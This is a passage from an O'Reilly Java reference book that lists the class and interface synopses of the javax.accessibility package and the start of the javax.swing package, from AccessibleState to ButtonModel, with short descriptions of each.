Returned By: AccessibleContext.getAccessibleSelection(), javax.swing.JList.AccessibleJList.getAccessibleSelection(), javax.swing.JList.AccessibleJList.AccessibleJListChild.getAccessibleSelection(), javax.swing.JMenu.AccessibleJMenu.getAccessibleSelection(), javax.swing.JMenuBar.AccessibleJMenuBar.getAccessibleSelection(), javax.swing.JTabbedPane.AccessibleJTabbedPane.getAccessibleSelection(), javax.swing.JTable.AccessibleJTable.getAccessibleSelection(), javax.swing.JTable.AccessibleJTable.AccessibleJTableCell.getAccessibleSelection(), javax.swing.JTree.AccessibleJTree.getAccessibleSelection(), javax.swing.JTree.AccessibleJTree.AccessibleJTreeNode.getAccessibleSelection(), javax.swing.table.JTableHeader.AccessibleJTableHeader.AccessibleJTableHeaderEntry.getAccessibleSelection()

AccessibleState Java 1.2
javax.accessibility

This class exists to provide a type-safe enumeration of constants that describe the various states that accessible components may exist in. AccessibleState objects are aggregated into AccessibleStateSet objects, which are returned by the getAccessibleStateSet() method of an AccessibleContext. Every accessible object that is capable of existing in more than one state should return an appropriate set of AccessibleState constants from its AccessibleContext object. AccessibleState inherits toDisplayString() from it superclass. This method returns a localized human-readable string describing the role. Applications never need to use this class.

public class AccessibleState extends AccessibleBundle {
// | Protected Constructors
 | protected AccessibleState (String key);
// | Public Constants
 | public static final AccessibleState ACTIVE ;
 | public static final AccessibleState ARMED ;
 | public static final AccessibleState BUSY ;
 | public static final AccessibleState CHECKED ;
 | public static final AccessibleState COLLAPSED ;
 | public static final AccessibleState EDITABLE ;
 | public static final AccessibleState ENABLED ;
 | public static final AccessibleState EXPANDABLE ;
 | public static final AccessibleState EXPANDED ;
 | public static final AccessibleState FOCUSABLE ;
 | public static final AccessibleState FOCUSED ;
 | public static final AccessibleState HORIZONTAL ;
 | public static final AccessibleState ICONIFIED ;
 | public static final AccessibleState MODAL ;
 | public static final AccessibleState MULTI_LINE ;
 | public static final AccessibleState MULTISELECTABLE ;
 | public static final AccessibleState OPAQUE ;
 | public static final AccessibleState PRESSED ;
 | public static final AccessibleState RESIZABLE ;
 | public static final AccessibleState SELECTABLE ;
 | public static final AccessibleState SELECTED ;
 | public static final AccessibleState SHOWING ;
 | public static final AccessibleState SINGLE_LINE ;
 | public static final AccessibleState TRANSIENT ;
 | public static final AccessibleState VERTICAL ;
 | public static final AccessibleState VISIBLE ;
}

Hierarchy: Object-->AccessibleBundle-->AccessibleState

Passed To: AccessibleStateSet.{AccessibleStateSet(), add(), addAll(), contains(), remove()}

Returned By: AccessibleStateSet.toArray()

Type Of: Too many fields to list.

AccessibleStateSet Java 1.2
javax.accessibility

This class maintains a list of AccessibleState objects. Every accessible object that can exist in more than one state should return an appropriate AccessibleStateSet describing its current state from the getAccessibleStateSet() method of its AccessibleContext. Applications never need to use this class.

public class AccessibleStateSet {
// | Public Constructors
 | public AccessibleStateSet ();
 | public AccessibleStateSet (AccessibleState[ ] states);
// | Public Instance Methods
 | public boolean add (AccessibleState state);
 | public void addAll (AccessibleState[ ] states);
 | public void clear ();
 | public boolean contains (AccessibleState state);
 | public boolean remove (AccessibleState state);
 | public AccessibleState[ ] toArray ();
// | Public Methods Overriding Object
 | public String toString ();
// | Protected Instance Fields
 | protected java.util.Vector states ;
}

Returned By: Too many methods to list.

AccessibleText Java 1.2
javax.accessibility

This interface allows an assistive technology to query the textual contents, textual selection, and text-insertion positions of an accessible object that contains nonstatic text. An accessible object that contains nonstatic text should return an AccessibleText object from the getAccessibleText() method of its AccessibleContext. Note that components such as JButton and JLabel do not support this interface. They display only static text, and their contents are adequately described by the getAccessibleName() and getAccessibleDescription() methods of the AccessibleContext. Applications never need to use or implement this interface.

public abstract interface AccessibleText {
// | Public Constants
 | public static final int CHARACTER ; | =1
 | public static final int SENTENCE ; | =3
 | public static final int WORD ; | =2
// | Property Accessor Methods (by property name)
 | public abstract int getCaretPosition (); |
 | public abstract int getCharCount (); |
 | public abstract String getSelectedText (); |
 | public abstract int getSelectionEnd (); |
 | public abstract int getSelectionStart (); |
// | Public Instance Methods
 | public abstract String getAfterIndex (int part, int index); |
 | public abstract String getAtIndex (int part, int index); |
 | public abstract String getBeforeIndex (int part, int index); |
 | public abstract javax.swing.text.AttributeSet getCharacterAttribute (int i); |
 | public abstract java.awt.Rectangle getCharacterBounds (int i); |
 | public abstract int getIndexAtPoint (java.awt.Point p); |
}

Implementations: AccessibleHypertext, javax.swing.text.JTextComponent.AccessibleJTextComponent

Returned By: AccessibleContext.getAccessibleText(), javax.swing.JEditorPane.AccessibleJEditorPaneHTML.getAccessibleText(), javax.swing.JList.AccessibleJList.AccessibleJListChild.getAccessibleText(), javax.swing.JTable.AccessibleJTable.AccessibleJTableCell.getAccessibleText(), javax.swing.JTree.AccessibleJTree.AccessibleJTreeNode.getAccessibleText(), javax.swing.table.JTableHeader.AccessibleJTableHeader.AccessibleJTableHeaderEntry.getAccessibleText(), javax.swing.text.JTextComponent.AccessibleJTextComponent.getAccessibleText()

AccessibleValue Java 1.2
javax.accessibility

This interface allows an assistive technology to set and query the numerical value displayed or maintained by an accessible object, such as a JScrollBar. It also allows an assistive technology to query the legal range of values supported by the accessible object. An accessible object that maintains a numerical value should return an AccessibleValue object from the getAccessibleValue() method of its AccessibleContext. Applications never need to use or implement this interface.

public abstract interface AccessibleValue {
// | Public Instance Methods
 | public abstract Number getCurrentAccessibleValue ();
 | public abstract Number getMaximumAccessibleValue ();
 | public abstract Number getMinimumAccessibleValue ();
 | public abstract boolean setCurrentAccessibleValue (Number n);
}

Implementations: javax.swing.AbstractButton.AccessibleAbstractButton, javax.swing.JInternalFrame.AccessibleJInternalFrame, javax.swing.JInternalFrame.JDesktopIcon.AccessibleJDesktopIcon, javax.swing.JProgressBar.AccessibleJProgressBar, javax.swing.JScrollBar.AccessibleJScrollBar, javax.swing.JSlider.AccessibleJSlider, javax.swing.JSplitPane.AccessibleJSplitPane

Returned By: AccessibleContext.getAccessibleValue(), javax.swing.AbstractButton.AccessibleAbstractButton.getAccessibleValue(), javax.swing.JInternalFrame.AccessibleJInternalFrame.getAccessibleValue(), javax.swing.JInternalFrame.JDesktopIcon.AccessibleJDesktopIcon.getAccessibleValue(), javax.swing.JList.AccessibleJList.AccessibleJListChild.getAccessibleValue(), javax.swing.JProgressBar.AccessibleJProgressBar.getAccessibleValue(), javax.swing.JScrollBar.AccessibleJScrollBar.getAccessibleValue(), javax.swing.JSlider.AccessibleJSlider.getAccessibleValue(), javax.swing.JSplitPane.AccessibleJSplitPane.getAccessibleValue(), javax.swing.JTable.AccessibleJTable.AccessibleJTableCell.getAccessibleValue(), javax.swing.JTree.AccessibleJTree.AccessibleJTreeNode.getAccessibleValue(), javax.swing.table.JTableHeader.AccessibleJTableHeader.AccessibleJTableHeaderEntry.getAccessibleValue()

Previous | Home | Next
21.1. The java.awt.print Package | Book Index | 23. The javax.swing Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.swing Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 23. The javax.swing Package

This large package contains the most important classes and interfaces of Swing. Swing is a core part of Java 1.2 and is also available as a standard extension to Java 1.1. The GUI component classes are at the heart of Swing. These classes have names that begin with the letter J. Figure 23-1 shows the hierarchy of Swing components in javax.swing. Note that this diagram does not show the fact that all the Swing components implement javax.accessibility.Accessible; see the individual class synopses for this information.

Figure 23-1. Components of the javax.swing package

Most Swing components rely on a model object to hold their state information. Various interfaces define the methods that these state objects must implement, and various abstract and concrete classes implement these interfaces. These model interfaces and classes are recognizable by the word "Model" in their names. Figure 23-2 shows the model objects and layout managers in javax.swing.

Classes with the word "Manager" in their names typically manage some important part of the Swing user-interface or application environment. Other important classes and interfaces defined by this package include: Action, Icon, KeyStroke, Timer, and SwingUtilities. Figure 23-3 shows the rest of the classes and interfaces in javax.swing.

All Swing components are accessible, which means that they implement the javax.accessiblity.Accessible interface and define getAccessibleContext() methods. This method returns a javax.accessibility.AccessibleContext object that provides support to accessibility tools, such as screen readers for the vision impaired. Each accessible component has its own specific subclass of AccessibleContext, which is typically defined as a protected inner class of the component. These AccessibleContext inner classes have been omitted from this chapter and from Figure 23-1 because they contain little useful information and they detract from other, more important classes. Practically everything you need to know about an AccessibleContext subclass can be found in the single-line inner class synopsis that appears in the containing class, the accessible flag of the containing class, and in Chapter 22, "The javax.accessibility Package".

See Chapter 2, "Swing and AWTArchitecture", for an overview of GUI programming in Java, and see Chapter 3, "Swing Programming Topics", for detailed explanations of many important Swing components and capabilities.

Figure 23-2. Models and layout managers of the java.swing package

Figure 23-3. Other classes and interfaces of the javax.swing package

AbstractAction | Java 1.2
javax.swing | cloneable serializable

This class implements all the methods of the Action interface except for the crucial actionPerformed() method that provides the substance of the action. Subclassing AbstractAction is one of the easiest ways to define Action objects for your application. Note the one- and two-argument constructors. These constructors automatically define name and icon attributes for the action and are simpler than using putValue().

public abstract class AbstractAction implements Action, Cloneable, Serializable {
// | Public Constructors
 | public AbstractAction (); |
 | public AbstractAction (String name); |
 | public AbstractAction (String name, Icon icon); |
// | Event Registration Methods (by event name)
 | public void addPropertyChangeListener (java.beans.PropertyChangeListener listener); | Implements:Action synchronized
 | public void removePropertyChangeListener (java.beans.PropertyChangeListener listener); | Implements:Action synchronized
// | Methods Implementing Action
 | public void addPropertyChangeListener (java.beans.PropertyChangeListener listener); | synchronized
 | public Object getValue (String key); |
 | public boolean isEnabled (); |
 | public void putValue (String key, Object newValue); | synchronized
 | public void removePropertyChangeListener (java.beans.PropertyChangeListener listener); | synchronized
 | public void setEnabled (boolean newValue); | synchronized
// | Methods Implementing ActionListener
 | public abstract void actionPerformed (java.awt.event.ActionEvent e); |
// | Protected Methods Overriding Object
 | protected Object clone () throws CloneNotSupportedException; |
// | Protected Instance Methods
 | protected void firePropertyChange (String propertyName, Object oldValue, Object newValue); |
// | Protected Instance Fields
 | protected javax.swing.event.SwingPropertyChangeSupport changeSupport ; |
 | protected boolean enabled ; |
}

Hierarchy: Object-->AbstractAction(Action(java.awt.event.ActionListener(java.util.EventListener)),Cloneable,Serializable)

Subclasses: javax.swing.text.TextAction

AbstractButton | Java 1.2
javax.swing | serializable swing component

This class serves as the superclass for Swing components with buttonlike behavior. Because it is a general-purpose class, it defines a large number of properties. Like Swing labels, Swing buttons can display text and/or an icon, and several properties specify the relative positioning of the text and icon. (See JLabel for details on these positioning properties.) Swing buttons can display different icons when in different states. In addition to the default icon, AbstractButton has properties that specify icons to be displayed when the button is pressed, selected, disabled, disabled and selected, rolled over, and rolled over and selected. If the rolloverIcon property is specified and if the rolloverEnabled property is true, the rolloverIcon is displayed when the mouse is over the button.

By default, an AbstractButton displays a single line of text in a single font. However, as of Swing 1.1.1 and Java 1.2.2, if the text property begins with "<html>", the button text is formatted as HTML and may contain multiple fonts and multiple lines.

A Swing button may be enabled and disabled with setEnabled(). Disabled buttons are typically displayed with grayed-out graphics, although some other disabled icon can also be specified. A mnemonic can be specified with setMnemonic(). This causes the mnemonic character to be underlined in the button's text and allows the button to be operated via the keyboard.

Swing buttons generate three types of events. A java.awt.event.ActionEvent is generated when any button is pushed. A java.awt.event.ItemEvent is generated when a toggle-type button is selected or deselected. And a javax.swing.event.ChangeEvent is generated when the button's internal state changes--for example, when the mouse pointer enters the button or when the user arms the button by pressing the mouse button.

public abstract class AbstractButton extends JComponent implements java.awt.ItemSelectable, SwingConstants {
// | Public Constructors
 | public AbstractButton (); |
// | Public Constants
 | public static final String BORDER_PAINTED_CHANGED_PROPERTY ; | ="borderPainted"
 | public static final String CONTENT_AREA_FILLED_CHANGED_PROPERTY ; | ="contentAreaFilled"
 | public static final String DISABLED_ICON_CHANGED_PROPERTY ; | ="disabledIcon"
 | public static final String DISABLED_SELECTED_ICON_CHANGED_PROPERTY ; | ="disabledSelectedIcon"
 | public static final String FOCUS_PAINTED_CHANGED_PROPERTY ; | ="focusPainted"
 | public static final String HORIZONTAL_ALIGNMENT_CHANGED_PROPERTY ; | ="horizontalAlignment"
 | public static final String HORIZONTAL_TEXT_POSITION_CHANGED_PROPERTY ; | ="horizontalTextPosition"
 | public static final String ICON_CHANGED_PROPERTY ; | ="icon"
 | public static final String MARGIN_CHANGED_PROPERTY ; | ="margin"
 | public static final String MNEMONIC_CHANGED_PROPERTY ; | ="mnemonic"
 | public static final String MODEL_CHANGED_PROPERTY ; | ="model"
 | public static final String PRESSED_ICON_CHANGED_PROPERTY ; | ="pressedIcon"
 | public static final String ROLLOVER_ENABLED_CHANGED_PROPERTY ; | ="rolloverEnabled"
 | public static final String ROLLOVER_ICON_CHANGED_PROPERTY ; | ="rolloverIcon"
 | public static final String ROLLOVER_SELECTED_ICON_CHANGED_PROPERTY ; | ="rolloverSelectedIcon"
 | public static final String SELECTED_ICON_CHANGED_PROPERTY ; | ="selectedIcon"
 | public static final String TEXT_CHANGED_PROPERTY ; | ="text"
 | public static final String VERTICAL_ALIGNMENT_CHANGED_PROPERTY ; | ="verticalAlignment"
 | public static final String VERTICAL_TEXT_POSITION_CHANGED_PROPERTY ; | ="verticalTextPosition"
// | Inner Classes
 | ; |
 | ; |
// | Event Registration Methods (by event name)
 | public void addActionListener (java.awt.event.ActionListener l); |
 | public void removeActionListener (java.awt.event.ActionListener l); |
 | public void addChangeListener (javax.swing.event.ChangeListener l); |
 | public void removeChangeListener (javax.swing.event.ChangeListener l); |
 | public void addItemListener (java.awt.event.ItemListener l); | Implements:ItemSelectable
 | public void removeItemListener (java.awt.event.ItemListener l); | Implements:ItemSelectable
// | Property Accessor Methods (by property name)
 | public String getActionCommand (); |
 | public void setActionCommand (String actionCommand); |
 | public boolean isBorderPainted (); |
 | public void setBorderPainted (boolean b); | bound
 | public boolean isContentAreaFilled (); |
 | public void setContentAreaFilled (boolean b); | bound
 | public Icon getDisabledIcon (); |
 | public void setDisabledIcon (Icon disabledIcon); | bound
 | public Icon getDisabledSelectedIcon (); |
 | public void setDisabledSelectedIcon (Icon disabledSelectedIcon); |
 | public boolean isFocusPainted (); |
 | public void setFocusPainted (boolean b); | bound
 | public int getHorizontalAlignment (); |
 | public void setHorizontalAlignment (int alignment); | bound
 | public int getHorizontalTextPosition (); |
 | public void setHorizontalTextPosition (int textPosition); | bound
 | public Icon getIcon (); |
 | public void setIcon (Icon defaultIcon); | bound
 | public java.awt.Insets getMargin (); |
 | public void setMargin (java.awt.Insets m); | bound
 | public int getMnemonic (); |
 | public void setMnemonic (int mnemonic); | bound
 | public void setMnemonic (char mnemonic); |
 | public ButtonModel getModel (); |
 | public void setModel (ButtonModel newModel); | bound
 | public Icon getPressedIcon (); |
 | public void setPressedIcon (Icon pressedIcon); | bound
 | public boolean isRolloverEnabled (); |
 | public void setRolloverEnabled (boolean b); | bound
 | public Icon getRolloverIcon (); |
 | public void setRolloverIcon (Icon rolloverIcon); | bound
 | public Icon getRolloverSelectedIcon (); |
 | public void setRolloverSelectedIcon (Icon rolloverSelectedIcon); | bound
 | public boolean isSelected (); |
 | public void setSelected (boolean b); |
 | public Icon getSelectedIcon (); |
 | public void setSelectedIcon (Icon selectedIcon); | bound
 | public Object[ ] getSelectedObjects (); | Implements:ItemSelectable synchronized
 | public String getText (); |
 | public void setText (String text); | bound preferred
 | public javax.swing.plaf.ButtonUI getUI (); |
 | public void setUI (javax.swing.plaf.ButtonUI ui); |
 | public int getVerticalAlignment (); |
 | public void setVerticalAlignment (int alignment); | bound
 | public int getVerticalTextPosition (); |
 | public void setVerticalTextPosition (int textPosition); | bound
// | Public Instance Methods
 | public void doClick (); |
 | public void doClick (int pressTime); |
// | Methods Implementing ItemSelectable
 | public void addItemListener (java.awt.event.ItemListener l); |
 | public Object[ ] getSelectedObjects (); | synchronized
 | public void removeItemListener (java.awt.event.ItemListener l); |
// | Public Methods Overriding JComponent
 | public void setEnabled (boolean b); |
 | public void updateUI (); | empty
// | Protected Methods Overriding JComponent
 | protected void paintBorder (java.awt.Graphics g); |
 | protected String paramString (); |
// | Protected Instance Methods
 | protected int checkHorizontalKey (int key, String exception); |
 | protected int checkVerticalKey (int key, String exception); |
 | protected java.awt.event.ActionListener createActionListener (); |
 | protected javax.swing.event.ChangeListener createChangeListener (); |
 | protected java.awt.event.ItemListener createItemListener (); |
 | protected void fireActionPerformed (java.awt.event.ActionEvent event); |
 | protected void fireItemStateChanged (java.awt.event.ItemEvent event); |
 | protected void fireStateChanged (); |
 | protected void init (String text, Icon icon); |
// | Protected Instance Fields
 | protected java.awt.event.ActionListener actionListener ; |
 | protected transient javax.swing.event.ChangeEvent changeEvent ; |
 | protected javax.swing.event.ChangeListener changeListener ; |
 | protected java.awt.event.ItemListener itemListener ; |
 | protected ButtonModel model ; |
// | Deprecated Public Methods
# | public String getLabel (); |
# | public void setLabel (String label); | bound
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->AbstractButton(java.awt.ItemSelectable,SwingConstants)

Subclasses: JButton, JMenuItem, JToggleButton

Passed To: ButtonGroup.{add(), remove()}

AbstractButton.ButtonChangeListener | Java 1.2
javax.swing | serializable

This protected inner class is a simple Serializable implementation of javax.swing. event.ChangeListener that AbstractButton uses internally to receive change notifications from its ButtonModel. Application-level code never needs to use this class.

protected class AbstractButton.ButtonChangeListener implements javax.swing.event.ChangeListener, Serializable {
// | No Constructor
// | Methods Implementing ChangeListener
 | public void stateChanged (javax.swing.event.ChangeEvent e);
}
AbstractListModel | Java 1.2
javax.swing | serializable model

This abstract class provides a partial implementation of the ListModel interface. Subclassing AbstractListModel is usually easier than implementing ListModel from scratch. Note, however, that the DefaultListModel class is a usually an adequate ListModel implementation, so you shouldn't need to subclass AbstractListModel very often. Furthermore, the JList component provides convenience methods that often make it unnecessary to work with any kind of ListModel at all.

public abstract class AbstractListModel implements ListModel, Serializable {
// | Public Constructors
 | public AbstractListModel (); |
// | Event Registration Methods (by event name)
 | public void addListDataListener (javax.swing.event.ListDataListener l); | Implements:ListModel
 | public void removeListDataListener (javax.swing.event.ListDataListener l); | Implements:ListModel
// | Methods Implementing ListModel
 | public void addListDataListener (javax.swing.event.ListDataListener l); |
 | public abstract Object getElementAt (int index); |
 | public abstract int getSize (); |
 | public void removeListDataListener (javax.swing.event.ListDataListener l); |
// | Protected Instance Methods
 | protected void fireContentsChanged (Object source, int index0, int index1); |
 | protected void fireIntervalAdded (Object source, int index0, int index1); |
 | protected void fireIntervalRemoved (Object source, int index0, int index1); |
// | Protected Instance Fields
 | protected javax.swing.event.EventListenerList listenerList ; |
}

Hierarchy: Object-->AbstractListModel(ListModel,Serializable)

Subclasses: DefaultComboBoxModel, DefaultListModel

Action | Java 1.2
javax.swing | event listener

An action is a single piece of application functionality, such as saving a file or printing a document. The actions performed by an application may be made available to the user in several different ways: in a pulldown or popup menu, in a toolbar, and from a keyboard binding, for example.

The Action interface extends java.awt.event.ActionListener and adds the ability to enable or disable the action. If an editor contains an empty document, its print action probably should not be enabled, for example. setEnabled() specifies whether the action is enabled. When an action is enabled or disabled, this change is broadcast by a java.beans.PropertyChangeEvent.

The Action interface also defines methods that associate attributes with an action. The putValue() method maps an arbitrary attribute name to an arbitrary attribute value. The getValue() method queries an attribute value. The constants defined by the Action interface specify predefined names for commonly used attributes. NAME and SMALL_ICON are the most commonly used. Finally, the actionPerformed() method, inherited from ActionListener, is responsible for performing the action.

JMenu, JPopupMenu, and JToolBar define methods that allow Action objects to be added to them. These methods query the action for its name and an icon that represents the action and use this information to present the action to the user. If the action is enabled, the component allows the user to invoke it. The JTextComponent and Keymap classes from the javax.swing.text package additionally provide techniques for mapping keystrokes to Action objects.

AbstractAction provides a useful starting point for defining your own Action classes.

public abstract interface Action extends java.awt.event.ActionListener {
// | Public Constants
 | public static final String DEFAULT ; | ="Default"
 | public static final String LONG_DESCRIPTION ; | ="LongDescription"
 | public static final String NAME ; | ="Name"
 | public static final String SHORT_DESCRIPTION ; | ="ShortDescription"
 | public static final String SMALL_ICON ; | ="SmallIcon"
// | Event Registration Methods (by event name)
 | public abstract void addPropertyChangeListener (java.beans.PropertyChangeListener listener); |
 | public abstract void removePropertyChangeListener (java.beans.PropertyChangeListener listener); |
// | Public Instance Methods
 | public abstract Object getValue (String key); |
 | public abstract boolean isEnabled (); |
 | public abstract void putValue (String key, Object value); |
 | public abstract void setEnabled (boolean b); |
}

Hierarchy: (Action(java.awt.event.ActionListener(java.util.EventListener)))

Implementations: AbstractAction

Passed To: JMenu.{add(), insert()}, JPopupMenu.{add(), insert()}, JToolBar.add(), javax.swing.text.JTextComponent.loadKeymap(), javax.swing.text.Keymap.{addActionForKeyStroke(), getKeyStrokesForAction(), setDefaultAction()}, javax.swing.text.TextAction.augmentList()

Returned By: JTextField.getActions(), javax.swing.text.DefaultEditorKit.getActions(), javax.swing.text.EditorKit.getActions(), javax.swing.text.JTextComponent.getActions(), javax.swing.text.Keymap.{getAction(), getBoundActions(), getDefaultAction()}, javax.swing.text.StyledEditorKit.getActions(), javax.swing.text.TextAction.augmentList(), javax.swing.text.html.HTMLEditorKit.getActions()

BorderFactory Java 1.2
javax.swing

The static methods of this class return various types of Border objects. These methods may return previously created shared objects, making their use more memory-efficient than creating unshared Border objects with the new operator. See the various classes of the javax.swing.border package for more information on the types of borders supported by Swing.

public class BorderFactory {
// | No Constructor
// | Public Class Methods
 | public static javax.swing.border.Border createBevelBorder (int type);
 | public static javax.swing.border.Border createBevelBorder (int type, java.awt.Color highlight, java.awt.Color shadow);
 | public static javax.swing.border.Border createBevelBorder (int type, java.awt.Color highlightOuter, java.awt.Color highlightInner, java.awt.Color shadowOuter, java.awt.Color shadowInner);
 | public static javax.swing.border.CompoundBorder createCompoundBorder ();
 | public static javax.swing.border.CompoundBorder createCompoundBorder (javax.swing.border.Border outsideBorder, javax.swing.border.Border insideBorder);
 | public static javax.swing.border.Border createEmptyBorder ();
 | public static javax.swing.border.Border createEmptyBorder (int top, int left, int bottom, int right);
 | public static javax.swing.border.Border createEtchedBorder ();
 | public static javax.swing.border.Border createEtchedBorder (java.awt.Color highlight, java.awt.Color shadow);
 | public static javax.swing.border.Border createLineBorder (java.awt.Color color);
 | public static javax.swing.border.Border createLineBorder (java.awt.Color color, int thickness);
 | public static javax.swing.border.Border createLoweredBevelBorder ();
 | public static javax.swing.border.MatteBorder createMatteBorder (int top, int left, int bottom, int right, Icon tileIcon);
 | public static javax.swing.border.MatteBorder createMatteBorder (int top, int left, int bottom, int right, java.awt.Color color);
 | public static javax.swing.border.Border createRaisedBevelBorder ();
 | public static javax.swing.border.TitledBorder createTitledBorder (javax.swing.border.Border border);
 | public static javax.swing.border.TitledBorder createTitledBorder (String title);
 | public static javax.swing.border.TitledBorder createTitledBorder (javax.swing.border.Border border, String title);
 | public static javax.swing.border.TitledBorder createTitledBorder (javax.swing.border.Border border, String title, int titleJustification, int titlePosition);
 | public static javax.swing.border.TitledBorder createTitledBorder (javax.swing.border.Border border, String title, int titleJustification, int titlePosition, java.awt.Font titleFont);
 | public static javax.swing.border.TitledBorder createTitledBorder (javax.swing.border.Border border, String title, int titleJustification, int titlePosition, java.awt.Font titleFont, java.awt.Color titleColor);
}
BoundedRangeModel | Java 1.2
javax.swing | model

This interface defines the data model used by the JScrollBar, JSlider, and JProgressBar components. The model is defined by four integer properties that obey the following relationship:

minimum <= value <= value+extent <= maximum

The value property specifies the value currently displayed by the component. It must be between the values specified by the minimum and maximum properties. The extent property specifies the amount of data displayed. For JScrollBar components, this property specifies the size of the scrollbar thumb, or knob. Note the convenience method setRangeProperties() that sets all properties of the model at once.

When any value changes, interested listeners are notified with a javax.swing.event.ChangeEvent. One additional property defined by this interface is valueIsAdjusting. If this property is true, it means that a series of rapid property changes (such as those caused when the user drags the scrollbar) is in progress. This property is false for the last change in the series, so listeners can therefore choose to ignore transient changes that have this property set to true.

DefaultBoundedRangeModel is an implementation of this interface appropriate for most uses.

public abstract interface BoundedRangeModel {
// | Event Registration Methods (by event name)
 | public abstract void addChangeListener (javax.swing.event.ChangeListener x);
 | public abstract void removeChangeListener (javax.swing.event.ChangeListener x);
// | Property Accessor Methods (by property name)
 | public abstract int getExtent ();
 | public abstract void setExtent (int newExtent);
 | public abstract int getMaximum ();
 | public abstract void setMaximum (int newMaximum);
 | public abstract int getMinimum ();
 | public abstract void setMinimum (int newMinimum);
 | public abstract int getValue ();
 | public abstract void setValue (int newValue);
 | public abstract boolean getValueIsAdjusting ();
 | public abstract void setValueIsAdjusting (boolean b);
// | Public Instance Methods
 | public abstract void setRangeProperties (int value, int extent, int min, int max, boolean adjusting);
}

Implementations: DefaultBoundedRangeModel

Passed To: JProgressBar.{JProgressBar(), setModel()}, JScrollBar.setModel(), JSlider.{JSlider(), setModel()}

Returned By: JProgressBar.getModel(), JScrollBar.getModel(), JSlider.getModel(), JTextField.getHorizontalVisibility()

Type Of: JProgressBar.model, JScrollBar.model, JSlider.sliderModel

Box | Java 1.2
javax.swing | serializable accessible swing component

This class is a container that uses the BoxLayout layout manager to arrange its children in a row or a column. Pass one of the constants BoxLayout.X_AXIS or BoxLayout.Y_AXIS to the constructor to create a horizontal or vertical box or use the static methods createHorizontalBox() and createVerticalBox(). A horizontal box attempts to lay out its children from left to right, one next to the other, at their preferred widths and tries to make each child as tall as the tallest child. A vertical box does the opposite: it lays out its children from top to bottom, trying both to maintain the preferred height of each child and to make all children as wide as the widest child.

The arrangement of children in a Box is often improved with the use of struts and glue: invisible components that exist only to improve the appearance of a layout. A horizontal strut has 0 height and has a specified value as its minimum, preferred, and maximum width. A vertical strut has 0 width and a fixed height. Struts are useful for inserting fixed amounts of space between components in a Box. Use createHorizontalStrut() and createVerticalStrut() to create struts.

Glue is a component with a preferred width or height of 0 but with an infinite maximum width or height. Glue is used to specify where extra space in a layout should go. For example, if you have three fixed-sized JButton components in a row that is wider than the sum of the button widths, placing glue between them forces them to be evenly spaced. Use createHorizontalGlue() and createVerticalGlue() to create glue components.

public class Box extends Container implements Accessible {
// | Public Constructors
 | public Box (int axis); |
// | Inner Classes
 | ; |
 | ; |
// | Public Class Methods
 | public static Component createGlue (); |
 | public static Box createHorizontalBox (); |
 | public static Component createHorizontalGlue (); |
 | public static Component createHorizontalStrut (int width); |
 | public static Component createRigidArea (java.awt.Dimension d); |
 | public static Box createVerticalBox (); |
 | public static Component createVerticalGlue (); |
 | public static Component createVerticalStrut (int height); |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible
 | public void setLayout (java.awt.LayoutManager l); | Overrides:Container
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); |
// | Protected Instance Fields
 | protected AccessibleContext accessibleContext ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->Box(Accessible)

Returned By: Box.{createHorizontalBox(), createVerticalBox()}

Box.Filler | Java 1.2
javax.swing | serializable accessible swing component

This class implements the invisible component used to create struts and glue for use with the Box container. It allows you to create an invisible component with any specified minimum, preferred, and maximum sizes.

public static class Box.Filler extends Component implements Accessible {
// | Public Constructors
 | public Filler (java.awt.Dimension min, java.awt.Dimension pref, java.awt.Dimension max); |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible
 | public java.awt.Dimension getMaximumSize (); | Overrides:Component
 | public java.awt.Dimension getMinimumSize (); | Overrides:Component
 | public java.awt.Dimension getPreferredSize (); | Overrides:Component
// | Public Instance Methods
 | public void changeShape (java.awt.Dimension min, java.awt.Dimension pref, java.awt.Dimension max); |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); |
// | Protected Instance Fields
 | protected AccessibleContext accessibleContext ; |
}
BoxLayout | Java 1.2
javax.swing | serializable layout manager

This class is a layout manager that arranges its children into a row or a column. It is the layout manager used by the Box container. See Box for details.

public class BoxLayout implements java.awt.LayoutManager2, Serializable {
// | Public Constructors
 | public BoxLayout (Container target, int axis); |
// | Public Constants
 | public static final int X_AXIS ; | =0
 | public static final int Y_AXIS ; | =1
// | Methods Implementing LayoutManager
 | public void addLayoutComponent (String name, Component comp); | empty
 | public void layoutContainer (Container target); |
 | public java.awt.Dimension minimumLayoutSize (Container target); |
 | public java.awt.Dimension preferredLayoutSize (Container target); |
 | public void removeLayoutComponent (Component comp); | empty
// | Methods Implementing LayoutManager2
 | public void addLayoutComponent (Component comp, Object constraints); | empty
 | public float getLayoutAlignmentX (Container target); |
 | public float getLayoutAlignmentY (Container target); |
 | public void invalidateLayout (Container target); |
 | public java.awt.Dimension maximumLayoutSize (Container target); |
}

Hierarchy: Object-->BoxLayout(java.awt.LayoutManager2(java.awt.LayoutManager),Serializable)

ButtonGroup | Java 1.2
javax.swing | serializable

This class enforces mutual exclusion (radio behavior) for a group of toggle buttons. Once buttons are added to a ButtonGroup with the add() method, mutual exclusion is automatic, and no further action is necessary.

public class ButtonGroup implements Serializable {
// | Public Constructors
 | public ButtonGroup (); |
// | Property Accessor Methods (by property name)
 | public java.util.Enumeration getElements (); |
 | public ButtonModel getSelection (); | default:null
// | Public Instance Methods
 | public void add (AbstractButton b); |
 | public boolean isSelected (ButtonModel m); |
 | public void remove (AbstractButton b); |
 | public void setSelected (ButtonModel m, boolean b); |
// | Protected Instance Fields
 | protected java.util.Vector buttons ; |
}

Hierarchy: Object-->ButtonGroup(Serializable)

Passed To: ButtonModel.setGroup(), DefaultButtonModel.setGroup()

Type Of: DefaultButtonModel.group

ButtonModel | Java 1.2
javax.swing | model

This interface defines the model for Swing buttons. This model consists of five boolean properties that specify the current selection state of the button and three other properties that specify an optional mnemonic, ButtonGroup, and action command (a string passed with a java.awt.event.ActionEvent) for the button.

